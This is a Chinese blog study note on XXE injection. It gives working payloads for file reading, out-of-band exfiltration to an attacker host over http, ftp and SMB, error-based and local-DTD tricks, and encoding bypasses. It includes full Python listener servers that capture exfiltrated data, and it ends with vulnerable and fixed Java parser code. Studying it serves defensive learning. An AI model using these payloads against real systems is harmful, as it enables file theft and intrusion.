XXE整理
1diot9 Lv4

前言

一开始学web基础漏洞时,就没好好看过xxe,因为感觉考的少。一天,killer师傅在公众号发了个xxe小挑战(https://mp.weixin.qq.com/s/kUlXxJxKO-70QMNCQvLHZA),我就想借此机会学习一下xxe。

xxe简介

初见

当xml允许引用外部实体时,可能会造成文件读取或端口探测的效果。所以,可以说xxe相当于任意文件读+SSRF,只不过这里读文件的条件其实比较苛刻。

来看一个最简单的payload:

1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE test[
<!ENTITY read SYSTEM "file:///D:/flag.txt">
]>
<data>
<a>&read;</a>
</data>

这个payload能够读取win.ini,并作为通用实体read的值。这样就可以在xml正文里通过&read;的方法进行引用,从而将数据注入xml正文。如果解析后有回显的话,我们就能够读到数据。

这是漏洞函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
    public static void docBuilder(String xml) throws ParserConfigurationException, IOException, SAXException {
InputStream inputStream = new java.io.ByteArrayInputStream(xml.getBytes());

DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();

// 漏洞:未禁用外部实体
Document doc = builder.parse(inputStream);

// 遍历xml节点name和value
StringBuffer buf = new StringBuffer();
NodeList rootNodeList = doc.getChildNodes();
for (int i = 0; i < rootNodeList.getLength(); i++) {
Node rootNode = rootNodeList.item(i);
NodeList child = rootNode.getChildNodes();
for (int j = 0; j < child.getLength(); j++) {
Node node = child.item(j);
buf.append(node.getNodeName() + ": " + node.getTextContent() + "\n");
}
}
System.out.println(buf.toString());
// System.out.println(doc);
System.out.println("Document parsed successfully");
}

传入刚刚的payload,成功读取到内容:

img

各种语言支持的协议

上面通过file协议引用外部文件,xml的dtd(document type definition)中还支持很多其他伪协议,具体怎么用在下面讲。

PHP:file/http/ftp/php/compress.zlib/compress.bzip2/data/glob/phar
PHP扩展openssl:https/ftps
PHP扩展zip:zip
PHP扩展ssh2:ssh2.shell/ssh2.exec/ssh2.tunnel/ssh2.sftp/ssh2.scp
PHP扩展rar:rar
PHP扩展oggvorbis:ogg
PHP扩展expect :expect
Java:http/https/ftp/file/jar/netdoc/mailto/gopher(仅限低版本)
.NET:file/http/https/ftp

各种打法

踩坑

注意,前面不能有任何字符,换行也不行,不然就会报错:

img

复制的时候注意点

有回显

一般用:

1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE test[
<!ENTITY read SYSTEM "file:///D:/flag.txt">
]>
<data>
<a>&read;</a>
</data>

跟上面讲的一样。

读目录就把最后的文件名去掉

特殊符号

但是要注意,有一些特殊字符不能回显。

在xml主体部分中 !%>;可以正常回显:

img

&<不能回显:

img

除非是正确的xml语法,比如aaa,这样虽然不报错,但是只能回显标签内部的内容:

img

通过上面的例子,可以发现其本质就是是否符合xml语法。

1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE test[
<!ENTITY read SYSTEM "file:///D:/flag.txt">
]>
<data>
<a>&read;</a>
</data>

通用实体在DTD部分声明,在XML文档主体中被按顺序解析,每次解析完都会检查一遍语法。这就是为什么不能出现单个<的原因。

但是在php中,可以通过php://filter的方式对文件进行编码,然后带出:

1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE test[
<!ENTITY read SYSTEM "php://filter/convert.base64-encode/resource=flag.txt">
]>
<data>
<a>&read;</a>
</data>

CDATA带出特殊符号

CDATA能够将包裹的内容作为纯文本,不被xml解析器解析。如下:

1
2
3
<example>
<![CDATA[<b>This is a bold text</b>]]>
</example>

失败1

下面是一个失败的payload:

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE roottag [
<!ENTITY start "<![CDATA[">
<!ENTITY goodies SYSTEM "file:///D:/target.txt">
<!ENTITY end "]]>">
]>
<user><username>&start;&goodies;&end;</username><password>admin</password></user>

会报错:

img

看起来明明没问题,为什么会报错?

这是因为通用实体的展开和xml主体的语法检查是交替进行的。也就是说,这里会先展开&start; 于是xml主体变成:

1
<user><username><![CDATA[&goodies;&end;</username><password>admin</password></user>

这时,xml进行一次语法检查,发现<>没有闭合,于是抛出报错。

下面是AI问答的关键部分:

img

所以我们得想办法在DTD中就把CDATA完整拼接好。

失败2

下面又是一个失败的payload:

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///D:/target.txt">
<!ENTITY % end "]]>">
<!ENTITY cdata "%start;%goodies;%end;">
]>
<user><username>&cdata;</username><password>admin</password></user>

报错:

img

这里规定,通用实体和参数实体的定义中,都不能对参数实体进行引用。

但是,外部dtd中的情况就不同:

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE roottag [
<!ENTITY % remote SYSTEM "http://127.0.0.1:7777/evil.dtd">
%remote;
]>
<user><username>&cdata;</username><password>admin</password></user>
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///D:/target.txt">
<!ENTITY % end "]]>">
<!ENTITY cdata "%start;%goodies;%end;">

外部dtd是允许在实体定义中引用另一个实体的,且在引用前会进行展开。

通过CDATA,我们得以显示<,但是单独的&还是会报错:

img

这是因为外部dtd中,使用file进行了一次dtd引用。解析器肯定是把引用的文件当作xml去进行语法检查,所以必须以&a; 的形式出现才行,而不能是单独的&。实际上,任何实体中都不能出现单独的&:

img

在这里添加&也会导致直接报错,外部dtd也是:

img

但我们可以通过手动闭合的方式实现。比如target.txt的内容是&,那外部dtd可以写成:

1
2
3
4
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///D:/target.txt">
<!ENTITY % end "]]>">
<!ENTITY cdata "%start;%goodies;any;%end;">

img

这样就能成功读取。

无回显(需外带)

一般打法(http)

php里很简单,直接编码外带就行

1
2
3
4
5
6
7
<?xml version="1.0"?> 
<!DOCTYPE roottag [
<!ENTITY % dtd SYSTEM "http://127.0.0.1/evil.dtd">
%dtd;]>
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=flag.txt">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://攻击机URL/?file=%file;'>">
%int;%send;

%是%的html编码

失败1

java里的外带情况会复杂些,主要是因为url里会出现特殊字符。

首先看一个失败的payload:

1
2
3
4
5
6
7
<?xml version="1.0"?> 
<!DOCTYPE roottag [
<!ENTITY % dtd SYSTEM "http://127.0.0.1/evil.dtd">
%dtd; ]>
<!ENTITY % file SYSTEM "file:///D:/target.txt">
<!ENTITY % send SYSTEM 'http://攻击机URL/?file=%file;'>
%send;

img

%file直接被原样带出了,并没有进行替换

这是因为这个dtd中,%file位于%send的实体内容位置,所以会被作为字符串处理。

那上面提到过

1
2
3
4
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///D:/target.txt">
<!ENTITY % end "]]>">
<!ENTITY cdata "%start;%goodies;%end;">

%start;%goodies;%end;不也是出现在实体内容位置吗,为什么能够被展开。这是因为只有SYSTEM后面的实体内容才会被当作字符串。你想,SYSTEM后面原本就是用来调用外部dtd的,一般都是http://xxx,file://xxx,肯定当作字符串解析。

1
2
3
<!ENTITY % file SYSTEM "file:///D:/target.txt">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://攻击机URL/?file=%file;'>">
%int;%send;

而这样写,在展开int时,识别到里面是dtd格式,于是会开启dtd解析,这时候,%file就会被识别为参数实体,从而成功展开。

特殊符号

经过测试,发现http外带过程中,%,&和\n(即文件有换行就无法带出)无法正常带出,其他应该可以。其中%,&如果出现在文件末尾,可以闭合。

dtd还是这个:

1
2
3
<!ENTITY % file SYSTEM "file:///D:/target.txt">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://攻击机URL/?file=%file;'>">
%int;%send;

为什么%和&不行,而<可以,我还不是特别理解,下面是目前的解释:

1、展开%int后,进入dtd解析状态,将%send里面的%file展开后,如果还是有%,&等字符,则又会触发实体解析,从而报错

2、而<>!在SYSTEM中被认为是普通字符

那能不能通过CDATA外带特殊符号呢?

1
2
3
4
5
6
<!ENTITY % file SYSTEM "file:///D:/target.txt">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % all "%start;%file;%end;">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://攻击机URL/?file=%all;'>">
%int;%send;

显然不行,因为刚刚讲了,在dtd解析的上下文环境中,<!>;这些在SYSTEM里根本不解析,但%一定会解析,所以还是相同的报错。

那为什么http不能带出有换行的文件呢?这是由jdk代码决定的。

8u65中的报错位置:

img

各版本的报错代码不一样,不过都是不允许换行符。

ftp打法(<7u131 <8u131-b09)

ftp在jdk低版本下可以外带多行数据,常用于读目录。

各版本ftp能否使用:

img

xml:

1
2
3
4
<?xml version="1.0"?> 
<!DOCTYPE roottag [
<!ENTITY % dtd SYSTEM "http://127.0.0.1:9999/evil.dtd">
%dtd;]>

dtd:

1
2
3
<!ENTITY % file SYSTEM "file:///D:/">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'ftp://127.0.0.1:7777/%file;'>">
%int;%send;

evilFTP.py用的heihu师傅的,python evilFTP.py 7777 result.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
from socket import *
from multiprocessing import Process
import time
import sys

IP = '127.0.0.1'
PORT = int(sys.argv[1])
ADDR_MAIN = (IP, PORT)
ADDR_EXT = (IP, 63568)


def get_host_ip():
try:
s = socket(AF_INET, SOCK_DGRAM)
s.connect(('8.8.8.8', 80))
ip = s.getsockname()[0]
finally:
s.close()
return ip

def epsv(s_ext):
s_ext.bind(ADDR_EXT)
s_ext.listen()
time.sleep(0.5)
s_ext.close()
return 0


def clear_null(res):
new = []
for i in res:
if i != '':
# wait for 2th channel
new.append(i)
return new


def center(connect):
res = []
connect.send(b"220 (vsFTPd 3.0.3)\n")
print('[*]Waiting for data...')
print("-" * 30)
while True:
msg = connect.recv(1024)
print("->", end="")
print(msg)
data = ''
rep = b'\n'
if 'USER ' == msg.decode()[:5]:
data = msg.decode() + '\r\n'
rep = b'331 Please specify the password.\n'
elif 'PASS ' == msg.decode()[:5]:
rep = b'230 Login successful.\n'
# version = msg.decode()[5:].replace('@','')
data = msg.decode() + '\r\n\r\n\r\n'
# print(f'[*] The version is {version}')
elif 'TYPE I' == msg.decode()[:6]:
rep = b'200 Switching to Binary mode.\n'
elif 'TYPE A' == msg.decode()[:6]:
rep = b'200 Switching to ASCII mode.\n'
elif 'CWD ' == msg.decode()[:4]:
data = msg.decode()[4:]
rep = b'250 Directory successfully changed.\n'
elif 'EPSV ALL' == msg.decode()[:8]:
rep = b'200 EPSV ALL ok.\n'
elif 'EPSV' == msg.decode()[:4]:
s_ext = socket()
p_ext = Process(target=epsv, args=(s_ext,))
p_ext.start()
rep = b'229 Entering Extended Passive Mode (|||63568|)\n'
time.sleep(0.5) # wait for 2th channel
elif 'RETR ' == msg.decode()[:5]:
data = msg.decode()[5:]
res.append(data[:-2])
print("<-", end="")
print(rep)
connect.send(rep)
if 'RETR ' == msg.decode()[:5]:
time.sleep(1) # wait for 2th channel
p_ext.close()
return '/'.join(clear_null(res))


if __name__ == '__main__':
print(f'[*]Listening {IP} on {PORT} and 63568...')
output = sys.argv[2]
s = socket()
s.bind(ADDR_MAIN)
s.listen()
connect, addr = s.accept()
print(f'[*]Get connection from {addr}.')
data = None
try:
data = center(connect)
print("-" * 30)
except:
print('[-]Failed to get data.')
finally:
s.close()
with open(output, 'w+') as f:
if data == None:
print('[*] ReadFile fail!!!')
else:
f.write(data)
print(f'[ ]Data has been written into {output}.')

特殊字符相关:

img

参考

https://zoiltin.github.io/posts/%E7%9B%B2xxe%E4%B8%ADftp%E5%8D%8F%E8%AE%AE%E7%9A%84%E5%88%A9%E7%94%A8/

高版本jdk修复

img

报错XXE

php中,允许参数实体内引用%

1
2
3
4
5
6
7
8
<!ENTITY % NUMBER '
<!ENTITY &#x25; file SYSTEM "file:///C:/Windows/win.ini"> <!-- 定义file实体读取win.ini -->
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM
&#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval; <!-- 展开eval实体 -->
&#x25;error; <!-- 触发error实体 -->
'>
%NUMBER; <!-- 执⾏嵌套实体 -->

java得改一下

一般打法(出网)

1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY % test SYSTEM "http://IP:PORT/evil.xml">
%test;
]>

dtd:

1
2
3
4
<!ENTITY % file SYSTEM "file:///C:/Windows/win.ini">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

特殊符号

这里跟前面无回显的情况是一样的,<!;>能直接带出来,%,&不行。

同样,没有用。

不出网打法

原来是利用windows或linux原本的dtd文件,然后对里面的参数实体进行覆盖。

windows存在 C:\Windows\System32\wbem\xml\cim20.dtd

img

这里SuperClass可用,其他的在第一次被引用时,都不位于最后,无法进行闭合,如ArraySize:

img

1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd">
<!ENTITY % SuperClass '>
<!ENTITY &#x25; file SYSTEM "file:///C:/Windows/win.ini">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM
&#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
<!ENTITY test "test"'>
%local_dtd;
]>

这里&#x25;先解析成%,再解析成%

Windows上常用dtd
C:/Windows/System32/wbem/xml/cim20.dtd
C:/Windows/System32/wbem/xml/wmi20.dtd
C:/Windows/SysWOW64/wbem/xml/cim20.dtd
C:/Windows/SysWOW64/wbem/xml/wmi20.dtd

linux系统中dtd文件视系统而定,比如Ubuntu中
/usr/share/xml/fontconfig/fonts.dtd
constant可利用。

1
2
<!ENTITY % constant 'int|double|string|matrix|bool|charset|langset|const'>
<!ELEMENT patelt (%constant;)*>

参考

https://mp.weixin.qq.com/s/XwmsNWMwFIKUQUV6B9KAFw

smb协议外带多行

参考https://mp.weixin.qq.com/s/kUlXxJxKO-70QMNCQvLHZA

基于这道题讲。

首先尝试http外带,先不读取任何文件,就尝试发送http请求,能够确定目标jdk为8u202 这样依赖,ftp外带多行的方法用不了。接着试一下读取/etc/passwd。这里只能用ftp协议尝试。如果用http的话,由于passwd是多行文件,根本收不到http请求。用ftp的话,才能确定文件是否存在。虽然ftp在高版本jdk也没法读文件,但是文件存在的话,至少能收到请求,所以可以借此判断文件是否存在。

读/etc/passwd,发现ftp服务器没收到任何东西,说明不存在此文件,那么就应该是windows系统。

至此我们题目转变为windows环境下JDK高版本如何通过OOB获取多行内容。

下面直接给出答案,思考过程看公众号。

恶意xml:

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ENTITY % dtd SYSTEM "http://127.0.0.1:7777/evil.dtd">
%dtd;
]>

dtd:

1
2
3
<!ENTITY % f SYSTEM "netdoc://C:/">
<!ENTITY % all "<!ENTITY % send SYSTEM 'file://\\\\ip/?x=test%f;'>">
%all;%send;

这里读取文件时,开头第一个字符不能为分号,所以要自己加其他字符。

安装smb服务:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
安装samba
apt install samba
修改配置文件
/etc/samba/smb.conf

[global]
guest account = nobody
map to guest = Bad User
server role = standalone server
[tmp]
path = /tmp
guest ok = yes
browseable = yes
public = yes

重启
service smbd restart

抓包smb流量:

1
tcpdump -i eth0 port 445 -w smb_445.pcap

https://github.com/cwkiller/xxe-smb-server

或者使用脚本一步到位,能够启动http和smb服务:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
#!/usr/bin/env python3
from impacket.smbserver import SimpleSMBServer
from http.server import HTTPServer, BaseHTTPRequestHandler
import sys
import os
import logging
import threading
import argparse


class XXEHandler(BaseHTTPRequestHandler):

public_ip = None

def do_GET(self):
"""处理所有 GET 请求"""
self.send_response(200)
self.send_header('Content-type', 'application/xml')
self.end_headers()

# 构造 XXE payload
payload = f'<!ENTITY % all "<!ENTITY send SYSTEM \'file:////{self.public_ip}/a%file;\'>">\n%all;'

self.wfile.write(payload.encode())

# 记录请求
logging.info(f"[HTTP] Request from {self.address_string()} - Path: {self.path}")
logging.info(f"[HTTP] Sent payload: {payload}")


def log_message(self, format, *args):
"""自定义日志格式"""
logging.info(f"[HTTP] {self.address_string()} - {format % args}")


def start_http_server(port, public_ip):
"""启动 HTTP 服务器"""
XXEHandler.public_ip = public_ip
server = HTTPServer(('0.0.0.0', port), XXEHandler)
logging.info(f"[*] HTTP Server started on port {port}")
logging.info(f"[*] XXE Payload URL: http://{public_ip}:{port}/xxe.dtd")
server.serve_forever()


def start_smb_server(share_path):
"""启动 SMB 服务器"""
server = SimpleSMBServer(listenAddress='0.0.0.0', listenPort=445)
server.addShare('SHARE', share_path, '')
server.setSMBChallenge('')
server.setSMB2Support(True)
server.start()


def main():
# 解析命令行参数
parser = argparse.ArgumentParser(
description='XXE SMB Server - Combined HTTP and SMB server for XXE exploitation',
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog='''
Examples:
%(prog)s 1.2.3.4 # 使用默认 HTTP 端口 80
%(prog)s 1.2.3.4 8080 # 使用自定义 HTTP 端口 8080
''')

parser.add_argument('public_ip',
help='公网 IP 地址 (必需)')
parser.add_argument('webport',
type=int,
nargs='?',
default=80,
help='HTTP 服务端口 (默认: 80)')
parser.add_argument('-s', '--share-path',
default='/tmp/share',
help='SMB 共享目录路径 (默认: /tmp/share)')

args = parser.parse_args()

# 验证 IP 地址格式(简单验证)
if not args.public_ip or args.public_ip.count('.') != 3:
parser.error("请提供有效的公网 IP 地址")

# 自动创建共享目录
os.makedirs(args.share_path, exist_ok=True)

# 配置详细日志输出
logging.basicConfig(
level=logging.DEBUG,
format='%(asctime)s [%(levelname)s] %(message)s',
datefmt='%Y-%m-%d %H:%M:%S'
)

# 设置 impacket 相关模块的日志级别
logging.getLogger('impacket.smbserver').setLevel(logging.DEBUG)
payload = f'''Usage:
1. 请发送如下XXE payload到目标服务器
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "file:///">
<!ENTITY % dtd SYSTEM "http://{args.public_ip}:{args.webport}/data.dtd"> %dtd;
]>
<data>&send;</data>
2. SMB 服务器将捕获文件内容'''
print(payload)

try:
# 在单独的线程中启动 HTTP 服务器
http_thread = threading.Thread(
target=start_http_server,
args=(args.webport, args.public_ip),
daemon=True
)
http_thread.start()

# 在主线程中启动 SMB 服务器
start_smb_server(args.share_path)

except KeyboardInterrupt:
print("\n[*] Servers stopped")
sys.exit(0)
except PermissionError:
print("\n[!] Error: Permission denied. Please run with sudo for port 445 and port 80")
sys.exit(1)
except Exception as e:
print(f"\n[!] Error: {e}")
sys.exit(1)


if __name__ == '__main__':
main()

注意:win11不适用,因为不能请求匿名的smb服务;家庭宽带无法向445端口发送请求

其他trick

netdoc代替file

java的netdoc对file协议进行了封装,可以用来代替file读文件。

在sun.net.www.protocol.netdoc.Handler#openConnection打断点

img

能够发现file:///C:/xxx 或是 netdoc:///C:/xxx 也可以

编码绕过

1
2
3
4
5
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>

utf7编码

1
2
3
4
5
<?xml version="1.0" encoding="utf-7" ?>
+ADwAIQ-DOCTYPE ANY +AFs-
+ADwAIQ-ENTITY f SYSTEM +ACI-file:///etc/passwd+ACIAPg-
+AF0APg-
+ADw-x+AD4AJg-f+ADsAPA-/x+AD4-

jar协议上传文件

jar协议使用时,会上传临时文件到靶机,并且可以通过构造特殊http请求让临时文件多存在一会儿。

首先,jar协议的格式为:jar://{本地或网络URI}/{jar文件}!/{jar中的文件}

下面是一个上传jar的脚本,通过在30s后上传jar的最后一个字节,达到临时文件驻留的效果,因此,需要在原本的jar后添加一个脏字节,从而使原jar在一开始顺序上传

参考https://mp.weixin.qq.com/s/bFQOFFbACv3buxQCgVFhUQ

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import sys
import time
import threading
import socketserver
from urllib.parse import quote
import http.client as httpc

listen_host = 'localhost'
listen_port = 9999
jar_file = sys.argv[1]

class JarRequestHandler(socketserver.BaseRequestHandler):
def handle(self):
http_req = b''
print('New connection:', self.client_address)
while b'\r\n\r\n' not in http_req:
try:
http_req += self.request.recv(4096)
print('Client req:\r\n', http_req.decode())
jf = open(jar_file, 'rb')
contents = jf.read()
headers = ('''HTTP/1.0 200 OK\r\n'''
'''Content-Type: application/java-archive\r\n\r\n''')
self.request.sendall(headers.encode('ascii'))
self.request.sendall(contents[:-1])
time.sleep(30)
print(30)
self.request.sendall(contents[-1:])
except Exception as e:
print("get error at:" + str(e))

if __name__ == '__main__':
jarserver = socketserver.TCPServer((listen_host, listen_port), JarRequestHandler)
print('waiting for connection, listening {port}...'.format(port=listen_port))
server_thread = threading.Thread(target=jarserver.serve_forever)
server_thread.daemon = True
server_thread.start()
server_thread.join()

python jarServer.py [端口] [添加脏字节后的jar包]

会在 C:\Users[user]\AppData\Local\Temp 下产生临时文件:

img

格式为jar_cachexxxx.tmp

得到临时文件目录

1、通过报错

随便写一个jar内不存在的文件即可:

img

但是只能确定目录,不能确定文件名,因为报错的时候,原临时文件已经被删除了

2、通过ftp协议

这个就是无回显里的ftp打法,通过列目录来获得临时文件的名称。先上传临时jar,然后ftp读目录。

临时文件生成源码

这里jdk8u65

从报错列目录那里跟进:

img

一点点调试,如果看到文件名产生了,说明走过头了,下面是调用栈:

img

img

img

上面两张图产生前缀和后缀

最终在java.nio.file.TempFileHelper#generatePath生成完整文件名:

img

生成和删除临时文件的点:

img

各个库中的XXE

参考https://blog.spoock.com/2018/10/23/java-xxe/

https://github.com/JoyChou93/java-sec-code 这个靶场的xxe涵盖大部分

DocumentBuilderFactory【可回显】

漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = dbf.newDocumentBuilder();
String FEATURE = null;
FEATURE = "http://javax.xml.XMLConstants/feature/secure-processing";
dbf.setFeature(FEATURE, true);
FEATURE = "http://apache.org/xml/features/disallow-doctype-decl";
dbf.setFeature(FEATURE, true);
FEATURE = "http://xml.org/sax/features/external-parameter-entities";
dbf.setFeature(FEATURE, false);
FEATURE = "http://xml.org/sax/features/external-general-entities";
dbf.setFeature(FEATURE, false);
FEATURE = "http://apache.org/xml/features/nonvalidating/load-external-dtd";
dbf.setFeature(FEATURE, false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);
// 读取xml文件内容
FileInputStream fis = new FileInputStream("path/to/xxexml");
InputSource is = new InputSource(fis);
builder.parse(is);

正确修复

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
String FEATURE = null;
FEATURE = "http://javax.xml.XMLConstants/feature/secure-processing";
dbf.setFeature(FEATURE, true);
FEATURE = "http://apache.org/xml/features/disallow-doctype-decl";
dbf.setFeature(FEATURE, true);
FEATURE = "http://xml.org/sax/features/external-parameter-entities";
dbf.setFeature(FEATURE, false);
FEATURE = "http://xml.org/sax/features/external-general-entities";
dbf.setFeature(FEATURE, false);
FEATURE = "http://apache.org/xml/features/nonvalidating/load-external-dtd";
dbf.setFeature(FEATURE, false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);
DocumentBuilder builder = dbf.newDocumentBuilder();
// 读取xml文件内容
FileInputStream fis = new FileInputStream("path/to/xxexml");
InputSource is = new InputSource(fis);
Document doc = builder.parse(is);

jdom2【可回显】

1
2
3
4
5
6
7
<dependencies>
<dependency>
<groupId>org.jdom</groupId>
<artifactId>jdom2</artifactId>
<version>2.0.6.1</version>
</dependency>
</dependencies>

漏洞:

1
2
SAXBuilder builder = new SAXBuilder();
Document doc = builder.build(InputSource);

修复1:

1
2
SAXBuilder builder = new SAXBuilder(true);
Document doc = builder.build(InputSource);

修复2:

1
2
3
4
5
6
SAXBuilder builder = new SAXBuilder();
builder.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
builder.setFeature("http://xml.org/sax/features/external-general-entities", false);
builder.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
builder.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
Document doc = builder.build(InputSource);

SAXParserFactory[外带]

漏洞:

1
2
3
SAXParserFactory spf = SAXParserFactory.newInstance();
SAXParser parser = spf.newSAXParser();
parser.parse(InputSource, (HandlerBase) null);

修复:

1
2
3
4
5
6
7
SAXParserFactory spf = SAXParserFactory.newInstance();
spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
spf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
SAXParser parser = spf.newSAXParser();
parser.parse(InputSource, (HandlerBase) null);

dom4j【可回显】

1
2
3
4
5
6
7
<dependencies>
<dependency>
<groupId>dom4j</groupId>
<artifactId>dom4j</artifactId>
<version>1.6.1</version>
</dependency>
</dependencies>

漏洞:

1
2
3
4
5
public static void SAXReader(String xml) throws DocumentException {
SAXReader reader = new SAXReader();
// org.dom4j.Document document
reader.read(new InputSource(new StringReader(xml))); // cause xxe
}

修复:

1
2
3
4
5
6
SAXReader saxReader = new SAXReader();
saxReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
saxReader.setFeature("http://xml.org/sax/features/external-general-entities", false);
saxReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
saxReader.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
saxReader.read(InputSource);

SAXTransformerFactory[外带]

只能打非回显的

漏洞:

1
2
3
SAXTransformerFactory sf = (SAXTransformerFactory) SAXTransformerFactory.newInstance();
StreamSource source = new StreamSource(InputSource);
sf.newTransformerHandler(source);

修复:

1
2
3
4
5
SAXTransformerFactory sf = (SAXTransformerFactory) SAXTransformerFactory.newInstance();
sf.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, "");
sf.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, "");
StreamSource source = new StreamSource(InputSource);
sf.newTransformerHandler(source);

SchemaFactory【外带】

只能打外带

1
2
3
SchemaFactory factory = SchemaFactory.newInstance("http://www.w3.org/2001/XMLSchema");
StreamSource source = new StreamSource(ResourceUtils.getPoc1());
Schema schema = factory.newSchema(InputSource);

修复:

1
2
3
4
5
SchemaFactory factory = SchemaFactory.newInstance("http://www.w3.org/2001/XMLSchema");
factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");
factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");
StreamSource source = new StreamSource(InputSource);
Schema schema = factory.newSchema(source);

TransformerFactory【外带】

只能打外带

1
2
3
TransformerFactory tf = TransformerFactory.newInstance();
StreamSource source = new StreamSource(InputSource);
tf.newTransformer().transform(source, new DOMResult());

修复:

1
2
3
4
5
TransformerFactory tf = TransformerFactory.newInstance();
tf.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, "");
tf.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, "");
StreamSource source = new StreamSourceInputSource);
tf.newTransformer().transform(source, new DOMResult());

ValidatorSample【外带】

只能外带

1
2
3
4
5
SchemaFactory factory = SchemaFactory.newInstance("http://www.w3.org/2001/XMLSchema");
Schema schema = factory.newSchema();
Validator validator = schema.newValidator();
StreamSource source = new StreamSource(InputSource);
validator.validate(source);

修复:

1
2
3
4
5
6
7
SchemaFactory factory = SchemaFactory.newInstance("http://www.w3.org/2001/XMLSchema");
Schema schema = factory.newSchema();
Validator validator = schema.newValidator();
validator.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");
validator.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");
StreamSource source = new StreamSource(InputSource);
validator.validate(source);

XMLReader【外带】

只能外带

1
2
XMLReader reader = XMLReaderFactory.createXMLReader();
reader.parse(new InputSource(InputSource));

修复:

1
2
3
4
5
6
XMLReader reader = XMLReaderFactory.createXMLReader();
reader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
reader.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
reader.setFeature("http://xml.org/sax/features/external-general-entities", false);
reader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
reader.parse(new InputSource(InputSource));

Unmarshaller【无漏洞】

默认不存在XXE

1
2
3
